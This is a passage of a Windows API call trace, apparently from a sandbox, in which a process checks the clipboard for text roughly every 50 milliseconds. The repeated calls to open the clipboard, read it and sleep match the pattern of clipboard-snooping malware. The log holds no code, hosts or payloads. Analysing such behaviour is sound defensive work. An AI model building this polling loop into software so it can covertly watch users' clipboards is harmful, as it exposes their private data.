[0215.175] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.175] GetClipboardData (uFormat=0x1) returned 0x0
[0215.175] CloseClipboard () returned 1
[0215.176] Sleep (dwMilliseconds=0x32)
[0215.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb406032, dwHighDateTime=0x1d96e12))
[0215.236] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.236] GetClipboardData (uFormat=0x1) returned 0x0
[0215.236] CloseClipboard () returned 1
[0215.236] Sleep (dwMilliseconds=0x32)
[0215.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb49e948, dwHighDateTime=0x1d96e12))
[0215.300] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.300] GetClipboardData (uFormat=0x1) returned 0x0
[0215.300] CloseClipboard () returned 1
[0215.300] Sleep (dwMilliseconds=0x32)
[0215.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb5372e8, dwHighDateTime=0x1d96e12))
[0215.361] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.361] GetClipboardData (uFormat=0x1) returned 0x0
[0215.361] CloseClipboard () returned 1
[0215.361] Sleep (dwMilliseconds=0x32)
[0215.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb5cfc2d, dwHighDateTime=0x1d96e12))
[0215.426] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.426] GetClipboardData (uFormat=0x1) returned 0x0
[0215.426] CloseClipboard () returned 1
[0215.426] Sleep (dwMilliseconds=0x32)
[0215.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb6685c2, dwHighDateTime=0x1d96e12))
[0215.486] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.486] GetClipboardData (uFormat=0x1) returned 0x0
[0215.486] CloseClipboard () returned 1
[0215.486] Sleep (dwMilliseconds=0x32)
[0215.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb700eeb, dwHighDateTime=0x1d96e12))
[0215.549] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.549] GetClipboardData (uFormat=0x1) returned 0x0
[0215.549] CloseClipboard () returned 1
[0215.549] Sleep (dwMilliseconds=0x32)
[0215.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb799865, dwHighDateTime=0x1d96e12))
[0215.611] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.611] GetClipboardData (uFormat=0x1) returned 0x0
[0215.611] CloseClipboard () returned 1
[0215.611] Sleep (dwMilliseconds=0x32)
[0215.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb832221, dwHighDateTime=0x1d96e12))
[0215.675] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.675] GetClipboardData (uFormat=0x1) returned 0x0
[0215.675] CloseClipboard () returned 1
[0215.675] Sleep (dwMilliseconds=0x32)
[0215.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb8cab37, dwHighDateTime=0x1d96e12))
[0215.736] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.736] GetClipboardData (uFormat=0x1) returned 0x0
[0215.737] CloseClipboard () returned 1
[0215.737] Sleep (dwMilliseconds=0x32)
[0215.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb9634c3, dwHighDateTime=0x1d96e12))
[0215.800] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.800] GetClipboardData (uFormat=0x1) returned 0x0
[0215.800] CloseClipboard () returned 1
[0215.800] Sleep (dwMilliseconds=0x32)
[0215.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdb9fbe44, dwHighDateTime=0x1d96e12))
[0215.861] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.861] GetClipboardData (uFormat=0x1) returned 0x0
[0215.861] CloseClipboard () returned 1
[0215.861] Sleep (dwMilliseconds=0x32)
[0215.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdba947a5, dwHighDateTime=0x1d96e12))
[0215.925] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.925] GetClipboardData (uFormat=0x1) returned 0x0
[0215.925] CloseClipboard () returned 1
[0215.925] Sleep (dwMilliseconds=0x32)
[0215.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdbb2d12e, dwHighDateTime=0x1d96e12))
[0215.986] OpenClipboard (hWndNewOwner=0x0) returned 1
[0215.986] GetClipboardData (uFormat=0x1) returned 0x0
[0215.986] CloseClipboard () returned 1
[0215.986] Sleep (dwMilliseconds=0x32)
[0216.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdbbc5a66, dwHighDateTime=0x1d96e12))
[0216.049] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.049] GetClipboardData (uFormat=0x1) returned 0x0
[0216.049] CloseClipboard () returned 1
[0216.049] Sleep (dwMilliseconds=0x32)
[0216.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdbc5e3a9, dwHighDateTime=0x1d96e12))
[0216.112] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.112] GetClipboardData (uFormat=0x1) returned 0x0
[0216.112] CloseClipboard () returned 1
[0216.112] Sleep (dwMilliseconds=0x32)
[0216.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdbd018a3, dwHighDateTime=0x1d96e12))
[0216.181] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.181] GetClipboardData (uFormat=0x1) returned 0x0
[0216.181] CloseClipboard () returned 1
[0216.181] Sleep (dwMilliseconds=0x32)
[0216.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdbd8f69a, dwHighDateTime=0x1d96e12))
[0216.241] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.241] GetClipboardData (uFormat=0x1) returned 0x0
[0216.241] CloseClipboard () returned 1
[0216.241] Sleep (dwMilliseconds=0x32)
[0216.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdbe27fe2, dwHighDateTime=0x1d96e12))
[0216.300] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.300] GetClipboardData (uFormat=0x1) returned 0x0
[0216.300] CloseClipboard () returned 1
[0216.300] Sleep (dwMilliseconds=0x32)
[0216.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdbec0988, dwHighDateTime=0x1d96e12))
[0216.361] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.361] GetClipboardData (uFormat=0x1) returned 0x0
[0216.361] CloseClipboard () returned 1
[0216.361] Sleep (dwMilliseconds=0x32)
[0216.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdbf5929c, dwHighDateTime=0x1d96e12))
[0216.425] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.425] GetClipboardData (uFormat=0x1) returned 0x0
[0216.425] CloseClipboard () returned 1
[0216.425] Sleep (dwMilliseconds=0x32)
[0216.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc017e88, dwHighDateTime=0x1d96e12))
[0216.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.507] GetClipboardData (uFormat=0x1) returned 0x0
[0216.507] CloseClipboard () returned 1
[0216.507] Sleep (dwMilliseconds=0x32)
[0216.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc0b07fc, dwHighDateTime=0x1d96e12))
[0216.564] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.564] GetClipboardData (uFormat=0x1) returned 0x0
[0216.565] CloseClipboard () returned 1
[0216.565] Sleep (dwMilliseconds=0x32)
[0216.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc149188, dwHighDateTime=0x1d96e12))
[0216.633] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.633] GetClipboardData (uFormat=0x1) returned 0x0
[0216.633] CloseClipboard () returned 1
[0216.633] Sleep (dwMilliseconds=0x32)
[0216.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc1e1b5a, dwHighDateTime=0x1d96e12))
[0216.689] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.689] GetClipboardData (uFormat=0x1) returned 0x0
[0216.689] CloseClipboard () returned 1
[0216.690] Sleep (dwMilliseconds=0x32)
[0216.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc27a467, dwHighDateTime=0x1d96e12))
[0216.752] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.752] GetClipboardData (uFormat=0x1) returned 0x0
[0216.752] CloseClipboard () returned 1
[0216.752] Sleep (dwMilliseconds=0x32)
[0216.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc312de7, dwHighDateTime=0x1d96e12))
[0216.814] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.819] GetClipboardData (uFormat=0x1) returned 0x0
[0216.819] CloseClipboard () returned 1
[0216.819] Sleep (dwMilliseconds=0x32)
[0216.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc3ab74f, dwHighDateTime=0x1d96e12))
[0216.877] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.877] GetClipboardData (uFormat=0x1) returned 0x0
[0216.877] CloseClipboard () returned 1
[0216.877] Sleep (dwMilliseconds=0x32)
[0216.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc444056, dwHighDateTime=0x1d96e12))
[0216.939] OpenClipboard (hWndNewOwner=0x0) returned 1
[0216.939] GetClipboardData (uFormat=0x1) returned 0x0
[0216.940] CloseClipboard () returned 1
[0216.940] Sleep (dwMilliseconds=0x32)
[0217.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc4dca31, dwHighDateTime=0x1d96e12))
[0217.002] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.002] GetClipboardData (uFormat=0x1) returned 0x0
[0217.003] CloseClipboard () returned 1
[0217.003] Sleep (dwMilliseconds=0x32)
[0217.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc575379, dwHighDateTime=0x1d96e12))
[0217.065] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.065] GetClipboardData (uFormat=0x1) returned 0x0
[0217.065] CloseClipboard () returned 1
[0217.065] Sleep (dwMilliseconds=0x32)
[0217.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc60dca2, dwHighDateTime=0x1d96e12))
[0217.127] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.127] GetClipboardData (uFormat=0x1) returned 0x0
[0217.127] CloseClipboard () returned 1
[0217.127] Sleep (dwMilliseconds=0x32)
[0217.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc6a6691, dwHighDateTime=0x1d96e12))
[0217.190] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.190] GetClipboardData (uFormat=0x1) returned 0x0
[0217.190] CloseClipboard () returned 1
[0217.190] Sleep (dwMilliseconds=0x32)
[0217.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc73efdc, dwHighDateTime=0x1d96e12))
[0217.252] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.252] GetClipboardData (uFormat=0x1) returned 0x0
[0217.252] CloseClipboard () returned 1
[0217.252] Sleep (dwMilliseconds=0x32)
[0217.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc7d792e, dwHighDateTime=0x1d96e12))
[0217.314] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.314] GetClipboardData (uFormat=0x1) returned 0x0
[0217.315] CloseClipboard () returned 1
[0217.315] Sleep (dwMilliseconds=0x32)
[0217.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc8702e8, dwHighDateTime=0x1d96e12))
[0217.377] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.377] GetClipboardData (uFormat=0x1) returned 0x0
[0217.377] CloseClipboard () returned 1
[0217.377] Sleep (dwMilliseconds=0x32)
[0217.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc908c29, dwHighDateTime=0x1d96e12))
[0217.439] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.439] GetClipboardData (uFormat=0x1) returned 0x0
[0217.440] CloseClipboard () returned 1
[0217.440] Sleep (dwMilliseconds=0x32)
[0217.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdc9c91c3, dwHighDateTime=0x1d96e12))
[0217.525] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.526] GetClipboardData (uFormat=0x1) returned 0x0
[0217.526] CloseClipboard () returned 1
[0217.526] Sleep (dwMilliseconds=0x32)
[0217.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdca8639b, dwHighDateTime=0x1d96e12))
[0217.609] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.609] GetClipboardData (uFormat=0x1) returned 0x0
[0217.609] CloseClipboard () returned 1
[0217.609] Sleep (dwMilliseconds=0x32)
[0217.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdcb44fbc, dwHighDateTime=0x1d96e12))
[0217.674] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.674] GetClipboardData (uFormat=0x1) returned 0x0
[0217.674] CloseClipboard () returned 1
[0217.674] Sleep (dwMilliseconds=0x32)
[0217.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdcbdd871, dwHighDateTime=0x1d96e12))
[0217.736] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.736] GetClipboardData (uFormat=0x1) returned 0x0
[0217.737] CloseClipboard () returned 1
[0217.737] Sleep (dwMilliseconds=0x32)
[0217.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdcd5b082, dwHighDateTime=0x1d96e12))
[0217.907] OpenClipboard (hWndNewOwner=0x0) returned 1
[0217.907] GetClipboardData (uFormat=0x1) returned 0x0
[0217.907] CloseClipboard () returned 1
[0217.907] Sleep (dwMilliseconds=0x32)
[0218.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdceb2570, dwHighDateTime=0x1d96e12))
[0218.043] OpenClipboard (hWndNewOwner=0x0) returned 1
[0218.044] GetClipboardData (uFormat=0x1) returned 0x0
[0218.044] CloseClipboard () returned 1
[0218.044] Sleep (dwMilliseconds=0x32)
[0218.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdcf4af09, dwHighDateTime=0x1d96e12))
[0218.096] OpenClipboard (hWndNewOwner=0x0) returned 1
[0218.096] GetClipboardData (uFormat=0x1) returned 0x0
[0218.096] CloseClipboard () returned 1
[0218.096] Sleep (dwMilliseconds=0x32)
[0218.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdcfe37cc, dwHighDateTime=0x1d96e12))
[0218.158] OpenClipboard (hWndNewOwner=0x0) returned 1
[0218.158] GetClipboardData (uFormat=0x1) returned 0x0
[0218.158] CloseClipboard () returned 1
[0218.158] Sleep (dwMilliseconds=0x32)
[0218.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdd07c1a9, dwHighDateTime=0x1d96e12))
[0218.221] OpenClipboard (hWndNewOwner=0x0) returned 1
[0218.221] GetClipboardData (uFormat=0x1) returned 0x0
[0218.221] CloseClipboard () returned 1
[0218.221] Sleep (dwMilliseconds=0x32)
[0218.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdd1f992e, dwHighDateTime=0x1d96e12))
[0218.387] OpenClipboard (hWndNewOwner=0x0) returned 1
[0218.387] GetClipboardData (uFormat=0x1) returned 0x0
[0218.387] CloseClipboard () returned 1
[0218.387] Sleep (dwMilliseconds=0x32)
[0218.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdd292287, dwHighDateTime=0x1d96e12))
[0218.439] OpenClipboard (hWndNewOwner=0x0) returned 1
[0218.439] GetClipboardData (uFormat=0x1) returned 0x0
[0218.440] CloseClipboard () returned 1
[0218.440] Sleep (dwMilliseconds=0x32)
[0218.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdd32ac30, dwHighDateTime=0x1d96e12))
[0218.505] OpenClipboard (hWndNewOwner=0x0) returned 1
[0218.506] GetClipboardData (uFormat=0x1) returned 0x0
[0218.506] CloseClipboard () returned 1
[0218.506] Sleep (dwMilliseconds=0x32)
[0218.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdd7a3272, dwHighDateTime=0x1d96e12))
[0218.978] OpenClipboard (hWndNewOwner=0x0) returned 1
[0218.979] GetClipboardData (uFormat=0x1) returned 0x0
[0218.979] CloseClipboard () returned 1
[0218.979] Sleep (dwMilliseconds=0x32)
[0219.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdd83bba2, dwHighDateTime=0x1d96e12))
[0219.036] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.036] GetClipboardData (uFormat=0x1) returned 0x0
[0219.036] CloseClipboard () returned 1
[0219.036] Sleep (dwMilliseconds=0x32)
[0219.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdd9b9396, dwHighDateTime=0x1d96e12))
[0219.191] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.192] GetClipboardData (uFormat=0x1) returned 0x0
[0219.192] CloseClipboard () returned 1
[0219.192] Sleep (dwMilliseconds=0x32)
[0219.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdda51cea, dwHighDateTime=0x1d96e12))
[0219.252] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.252] GetClipboardData (uFormat=0x1) returned 0x0
[0219.252] CloseClipboard () returned 1
[0219.252] Sleep (dwMilliseconds=0x32)
[0219.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xddaea69f, dwHighDateTime=0x1d96e12))
[0219.314] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.315] GetClipboardData (uFormat=0x1) returned 0x0
[0219.315] CloseClipboard () returned 1
[0219.315] Sleep (dwMilliseconds=0x32)
[0219.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xddb82fc0, dwHighDateTime=0x1d96e12))
[0219.378] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.378] GetClipboardData (uFormat=0x1) returned 0x0
[0219.378] CloseClipboard () returned 1
[0219.378] Sleep (dwMilliseconds=0x32)
[0219.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xddc1b8b7, dwHighDateTime=0x1d96e12))
[0219.439] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.439] GetClipboardData (uFormat=0x1) returned 0x0
[0219.439] CloseClipboard () returned 1
[0219.440] Sleep (dwMilliseconds=0x32)
[0219.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xddcb4290, dwHighDateTime=0x1d96e12))
[0219.502] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.502] GetClipboardData (uFormat=0x1) returned 0x0
[0219.502] CloseClipboard () returned 1
[0219.502] Sleep (dwMilliseconds=0x32)
[0219.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xddd4cbfd, dwHighDateTime=0x1d96e12))
[0219.564] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.565] GetClipboardData (uFormat=0x1) returned 0x0
[0219.565] CloseClipboard () returned 1
[0219.565] Sleep (dwMilliseconds=0x32)
[0219.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xddde555b, dwHighDateTime=0x1d96e12))
[0219.634] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.634] GetClipboardData (uFormat=0x1) returned 0x0
[0219.634] CloseClipboard () returned 1
[0219.634] Sleep (dwMilliseconds=0x32)
[0219.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xdde7defb, dwHighDateTime=0x1d96e12))
[0219.689] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.689] GetClipboardData (uFormat=0x1) returned 0x0
[0219.690] CloseClipboard () returned 1
[0219.690] Sleep (dwMilliseconds=0x32)
[0219.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xddf1686d, dwHighDateTime=0x1d96e12))
[0219.764] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.764] GetClipboardData (uFormat=0x1) returned 0x0
[0219.764] CloseClipboard () returned 1
[0219.764] Sleep (dwMilliseconds=0x32)
[0219.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xddfaf18c, dwHighDateTime=0x1d96e12))
[0219.815] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.815] GetClipboardData (uFormat=0x1) returned 0x0
[0219.815] CloseClipboard () returned 1
[0219.815] Sleep (dwMilliseconds=0x32)
[0219.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde047b6d, dwHighDateTime=0x1d96e12))
[0219.877] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.877] GetClipboardData (uFormat=0x1) returned 0x0
[0219.877] CloseClipboard () returned 1
[0219.877] Sleep (dwMilliseconds=0x32)
[0219.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde0e040f, dwHighDateTime=0x1d96e12))
[0219.939] OpenClipboard (hWndNewOwner=0x0) returned 1
[0219.939] GetClipboardData (uFormat=0x1) returned 0x0
[0219.939] CloseClipboard () returned 1
[0219.940] Sleep (dwMilliseconds=0x32)
[0220.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde178d60, dwHighDateTime=0x1d96e12))
[0220.002] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.002] GetClipboardData (uFormat=0x1) returned 0x0
[0220.002] CloseClipboard () returned 1
[0220.002] Sleep (dwMilliseconds=0x32)
[0220.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde2144d4, dwHighDateTime=0x1d96e12))
[0220.066] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.066] GetClipboardData (uFormat=0x1) returned 0x0
[0220.066] CloseClipboard () returned 1
[0220.066] Sleep (dwMilliseconds=0x32)
[0220.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde2b4cc6, dwHighDateTime=0x1d96e12))
[0220.131] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.131] GetClipboardData (uFormat=0x1) returned 0x0
[0220.131] CloseClipboard () returned 1
[0220.132] Sleep (dwMilliseconds=0x32)
[0220.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde34d641, dwHighDateTime=0x1d96e12))
[0220.194] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.194] GetClipboardData (uFormat=0x1) returned 0x0
[0220.194] CloseClipboard () returned 1
[0220.194] Sleep (dwMilliseconds=0x32)
[0220.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde3e5f2a, dwHighDateTime=0x1d96e12))
[0220.256] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.256] GetClipboardData (uFormat=0x1) returned 0x0
[0220.256] CloseClipboard () returned 1
[0220.256] Sleep (dwMilliseconds=0x32)
[0220.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde47e8b8, dwHighDateTime=0x1d96e12))
[0220.319] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.319] GetClipboardData (uFormat=0x1) returned 0x0
[0220.319] CloseClipboard () returned 1
[0220.319] Sleep (dwMilliseconds=0x32)
[0220.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xde517216, dwHighDateTime=0x1d96e12))
[0220.381] OpenClipboard (hWndNewOwner=0x0) returned 1
[0220.381] GetClipboardData (uFormat=0x1) returned 0x0
[0220.381] CloseClipboard () returned 1
[0220.382] Sleep (dwMilliseconds=0x32)
